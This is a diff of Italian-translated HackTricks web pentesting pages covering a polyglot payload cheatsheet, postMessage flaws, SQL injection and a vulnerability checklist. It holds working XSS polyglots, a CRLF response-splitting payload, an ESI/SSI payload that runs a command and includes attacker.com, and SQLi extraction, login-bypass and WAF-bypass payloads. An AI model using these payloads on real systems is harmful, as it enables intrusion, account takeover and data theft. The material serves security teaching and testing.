 %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 ```
-## Markup Pendente
+## Dangling Markup
 
-### Test di Base
+### Test di base
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [Inclusione di file/Traversata di percorso](../file-inclusion/)
+## [File Inclusion/Path Traversal](../file-inclusion/index.html)
 
 ### Test di base
 ```bash
@@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 http://asdasdasdasd.burpcollab.com/mal.php
 \\asdasdasdasd.burpcollab.com/mal.php
 ```
-## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 ### Test di base
 ```bash
@@ -140,11 +140,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
 ```markup
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 Gli stessi test utilizzati per Open Redirect possono essere utilizzati qui.
 
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 
 ### Test di base
 ```markup
@@ -183,7 +183,7 @@ javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

src/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md

@@ -36,7 +36,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -33,7 +33,7 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ```
 Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
-Nella **seconda situazione**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
+Nello **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
 Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
 
 ### Attacco a iframe e carattere jolly in **targetOrigin**
@@ -102,7 +102,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
 ```
 
 - La funzione **`match()`**, simile a `search()`, elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.
-- La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, l'`escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
+- La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, la `escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
 
 - Fallimento previsto:
 
@@ -124,13 +124,13 @@ Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttab
 
 - La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.
 
-### e.origin == window.origin bypass
+### bypass di e.origin == window.origin
 
 Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di **attributi sandbox** e delle loro implicazioni sulla sicurezza e sulla funzionalità.
 
 Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
 
-Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
+Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
 
 Per ulteriori informazioni **leggi**:
 
@@ -138,7 +138,7 @@ Per ulteriori informazioni **leggi**:
 bypassing-sop-with-iframes-1.md
 {{#endref}}
 
-### Bypassare e.source
+### Bypass di e.source
 
 È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
 ```javascript
@@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
 ```
 Per **maggiori informazioni**:
 
-- Link alla pagina su [**inquinamento del prototipo**](../deserialization/nodejs-proto-prototype-pollution/)
-- Link alla pagina su [**XSS**](../xss-cross-site-scripting/)
-- Link alla pagina su [**inquinamento del prototipo lato client a XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
+- Link alla pagina su [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
+- Link alla pagina su [**XSS**](../xss-cross-site-scripting/index.html)
+- Link alla pagina su [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 
 ## Riferimenti
 

src/pentesting-web/sql-injection/README.md

@@ -4,11 +4,11 @@
 
 ## Cos'è l'iniezione SQL?
 
-Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un'interruzione del servizio.
+Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromissione del server o denial of service.
 
 ## Rilevamento dei punti di ingresso
 
-Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati all'SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
+Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte del server insolite a input correlati a SQLi, il **primo passo** è capire come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
 ```
 [Nothing]
 '
@@ -64,13 +64,13 @@ page.asp?id=1' or 1=1 -- results in true
 page.asp?id=1" or 1=1 -- results in true
 page.asp?id=1 and 1=2 -- results in false
 ```
-Questa lista di parole è stata creata per cercare di **confermare le SQL injection** nel modo proposto:
+Questa lista di parole è stata creata per cercare di **confermare SQLinjections** nel modo proposto:
 
 {% file src="../../images/sqli-logic.txt" %}
 
-### Conferma con il Timing
+### Confermare con il Timing
 
-In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire le SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
+In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire blind SQL injections** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
 Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:
 ```
 MySQL (string concat and logical ops)
@@ -146,7 +146,7 @@ Due metodi sono tipicamente utilizzati per questo scopo:
 
 #### Order/Group by
 
-Per determinare il numero di colonne in una query, regola progressivamente il numero utilizzato nelle clausole **ORDER BY** o **GROUP BY** fino a ricevere una risposta falsa. Nonostante le funzionalità distinte di **GROUP BY** e **ORDER BY** all'interno di SQL, entrambi possono essere utilizzati in modo identico per accertare il conteggio delle colonne della query.
+Per determinare il numero di colonne in una query, regola progressivamente il numero utilizzato nelle clausole **ORDER BY** o **GROUP BY** fino a ricevere una risposta falsa. Nonostante le funzionalità distinte di **GROUP BY** e **ORDER BY** all'interno di SQL, entrambi possono essere utilizzati in modo identico per determinare il conteggio delle colonne della query.
 ```sql
 1' ORDER BY 1--+    #True
 1' ORDER BY 2--+    #True
@@ -185,7 +185,7 @@ Negli esempi seguenti recupereremo il nome di tutti i database, il nome della ta
 #Column names
 -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
 ```
-_C'è un modo diverso per scoprire questi dati in ogni database diverso, ma la metodologia è sempre la stessa._
+_C'è un modo diverso per scoprire questi dati su ogni database diverso, ma la metodologia è sempre la stessa._
 
 ## Exploiting Hidden Union Based
 
@@ -204,9 +204,9 @@ Seguendo un flusso simile a quello dell'exploitation basata su Union, potresti r
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 ```
-## Sfruttare Blind SQLi
+## Sfruttare il Blind SQLi
 
-In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi nella pagina.\
+In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi sulla pagina.\
 In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@@ -219,7 +219,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
 ## Sfruttare SQLi Basato sul Tempo
 
-In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **richieda più tempo per caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
+In questo caso non **c'è** modo di **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **richieda più tempo per caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](#confirming-with-timing).
 ```sql
 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
 ```
@@ -241,17 +241,17 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```
 ## Exploitazione automatizzata
 
-Controlla il [SQLMap Cheatsheet](sqlmap/) per sfruttare una vulnerabilità SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
+Controlla il [SQLMap Cheatsheet](sqlmap/index.html) per sfruttare una vulnerabilità SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 
-## Informazioni specifiche sulla tecnologia
+## Informazioni tecniche specifiche
 
 Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injection. Trova alcuni altri trucchi dipendenti dalla tecnologia del database in questo libro:
 
 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
-- [MySQL](mysql-injection/)
+- [MySQL](mysql-injection/index.html)
 - [Oracle](oracle-injection.md)
-- [PostgreSQL](postgresql-injection/)
+- [PostgreSQL](postgresql-injection/index.html)
 
 Oppure troverai **molti trucchi riguardanti: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
@@ -267,7 +267,7 @@ Elenco da provare per bypassare la funzionalità di login:
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-Questa query mette in evidenza una vulnerabilità quando MD5 viene utilizzato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttare questo creando input che, quando hashati, producono parti di comandi SQL inaspettate, portando ad accessi non autorizzati.
+Questa query mostra una vulnerabilità quando MD5 viene utilizzato con true per l'output raw nei controlli di autenticazione, rendendo il sistema suscettibile a SQL injection. Gli attaccanti possono sfruttare questo creando input che, quando hashati, producono parti di comandi SQL inaspettate, portando ad accessi non autorizzati.
 ```sql
 md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@@ -279,7 +279,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 **Elenco raccomandato**:
 
 Dovresti usare come nome utente ogni riga dell'elenco e come password sempre: _**Pass1234.**_\
-&#xNAN;_(Questi payload sono inclusi anche nel grande elenco menzionato all'inizio di questa sezione)_
+&#xNAN;_(Questi payload sono anche inclusi nel grande elenco menzionato all'inizio di questa sezione)_
 
 {% file src="../../images/sqli-hashbypass.txt" %}
 
@@ -291,7 +291,7 @@ SE ' viene scappato puoi usare %A8%27, e quando ' viene scappato verrà creato:
 %8C%A8%27 OR 1=1-- 2
 %bf' or 1=1 -- --
 ```
-Python script:
+Script Python:
 ```python
 import requests
 url = "http://example.com/index.php"
@@ -336,7 +336,7 @@ La clausola `ON DUPLICATE KEY UPDATE` in MySQL è utilizzata per specificare le
 
 Esempio di Payload di Iniezione:
 
-Un payload di iniezione potrebbe essere creato come segue, dove si tenta di inserire due righe nella tabella `users`. La prima riga è un'esca e la seconda riga mira all'email di un amministratore esistente con l'intenzione di aggiornare la password:
+Un payload di iniezione potrebbe essere creato come segue, dove si tenta di inserire due righe nella tabella `users`. La prima riga è un'esca, e la seconda riga mira all'email di un amministratore esistente con l'intenzione di aggiornare la password:
 ```sql
 INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
 ```
@@ -382,18 +382,18 @@ Utilizzando **hex** e **replace** (e **substr**):
 
 L'iniezione SQL routata è una situazione in cui la query iniettabile non è quella che fornisce output, ma l'output della query iniettabile va alla query che fornisce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
 
-Esempio:
+Example:
 ```
 #Hex of: -1' union select login,password from users-- a
 -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
 ```
 ## Bypass WAF
 
-[Bypass iniziali da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
+[Iniziali bypass da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
 
 ### Bypass senza spazi
 
-No Space (%20) - bypass utilizzando alternative agli spazi bianchi
+No Space (%20) - bypass utilizzando alternative di spazi bianchi
 ```sql
 ?id=1%09and%091=1%09--
 ?id=1%0Dand%0D1=1%0D--
@@ -406,7 +406,7 @@ No Whitespace - bypass usando commenti
 ```sql
 ?id=1/*comment*/and/**/1=1/**/--
 ```
-No Whitespace - bypass utilizzando le parentesi
+No Whitespace - bypass usando parentesi
 ```sql
 ?id=(1)and(1)=(1)--
 ```
@@ -418,7 +418,7 @@ LIMIT 0,1         -> LIMIT 1 OFFSET 0
 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
 SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
 ```
-### Generic Bypasses
+### Bypass generici
 
 Blacklist usando parole chiave - bypass usando maiuscole/minuscole
 ```sql
@@ -452,7 +452,7 @@ Prima di tutto, nota che se la **query originale e la tabella da cui vuoi estrar
 # This is an example with 3 columns that will extract the column number 3
 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
 ```
-O usando un **comma bypass**:
+O utilizzando un **comma bypass**:
 ```bash
 # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
 -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

src/pentesting-web/web-vulnerabilities-methodology.md

@@ -7,10 +7,10 @@ In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero ess
 ## Proxies
 
 > [!NOTE]
-> Oggigiorno le **applicazioni** **web** di solito **utilizzano** qualche tipo di **proxy** **intermediario**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
+> Oggigiorno **le** **applicazioni** **web** di solito **utilizzano** qualche tipo di **proxy** **intermediari**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
 
 - [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
-- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
+- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 - [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
@@ -21,7 +21,7 @@ In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero ess
 ## **User input**
 
 > [!NOTE]
-> La maggior parte delle applicazioni web **consentirà agli utenti di inserire alcuni dati che verranno elaborati successivamente.**\
+> La maggior parte delle applicazioni web **consentirà agli utenti di inserire alcuni dati che verranno elaborati in seguito.**\
 > A seconda della struttura dei dati che il server si aspetta, alcune vulnerabilità potrebbero o meno applicarsi.
 
 ### **Reflected Values**
@@ -31,18 +31,18 @@ Se i dati introdotti possono in qualche modo essere riflessi nella risposta, la
 - [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
+- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**Open Redirect**](open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
 Alcune delle vulnerabilità menzionate richiedono condizioni speciali, altre richiedono solo che il contenuto venga riflesso. Puoi trovare alcuni interessanti polygloths per testare rapidamente le vulnerabilità in:
 
@@ -54,11 +54,11 @@ pocs-and-polygloths-cheatsheet/
 
 Se la funzionalità può essere utilizzata per cercare qualche tipo di dati all'interno del backend, forse puoi (ab)usarla per cercare dati arbitrari.
 
-- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](nosql-injection.md)
 - [ ] [**LDAP Injection**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](sql-injection/)
+- [ ] [**SQL Injection**](sql-injection/index.html)
 - [ ] [**XPATH Injection**](xpath-injection.md)
 
 ### **Forms, WebSockets and PostMsgs**
@@ -67,15 +67,15 @@ Quando un websocket invia un messaggio o un modulo che consente agli utenti di e
 
 - [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 
 ### **HTTP Headers**
 
 A seconda degli header HTTP forniti dal server web, alcune vulnerabilità potrebbero essere presenti.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
 - [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](captcha-bypass.md)
-- [ ] [**Login Bypass**](login-bypass/)
+- [ ] [**Login Bypass**](login-bypass/index.html)
 - [ ] [**Race Condition**](race-condition.md)
 - [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
@@ -93,10 +93,10 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
 
 ### **Structured objects / Specific functionalities**
 
-Alcune funzionalità richiederanno che i **dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\
-Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Email Header Injections).
+Alcune funzionalità richiederanno che **i dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\
+Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Iniezioni di Header Email).
 
-- [ ] [**Deserialization**](deserialization/)
+- [ ] [**Deserialization**](deserialization/index.html)
 - [ ] [**Email Header Injection**](email-injections.md)
 - [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
@@ -107,7 +107,7 @@ Le funzionalità che consentono il caricamento di file potrebbero essere vulnera
 Le funzionalità che generano file includendo input dell'utente potrebbero eseguire codice imprevisto.\
 Gli utenti che aprono file caricati da altri utenti o generati automaticamente includendo input dell'utente potrebbero essere compromessi.
 
-- [ ] [**File Upload**](file-upload/)
+- [ ] [**File Upload**](file-upload/index.html)
 - [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Gli utenti che aprono file caricati da altri utenti o generati automaticamente i
 ### **External Identity Management**
 
 - [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](saml-attacks/)
+- [ ] [**SAML Attacks**](saml-attacks/index.html)
 
 ### **Other Helpful Vulnerabilities**
 
@@ -124,6 +124,6 @@ Queste vulnerabilità potrebbero aiutare a sfruttare altre vulnerabilità.
 - [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
 - [ ] [**Parameter Pollution**](parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology/README.md

@@ -11,7 +11,7 @@ In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero ess
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -31,16 +31,16 @@ Se i dati introdotti possono in qualche modo essere riflessi nella risposta, la
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
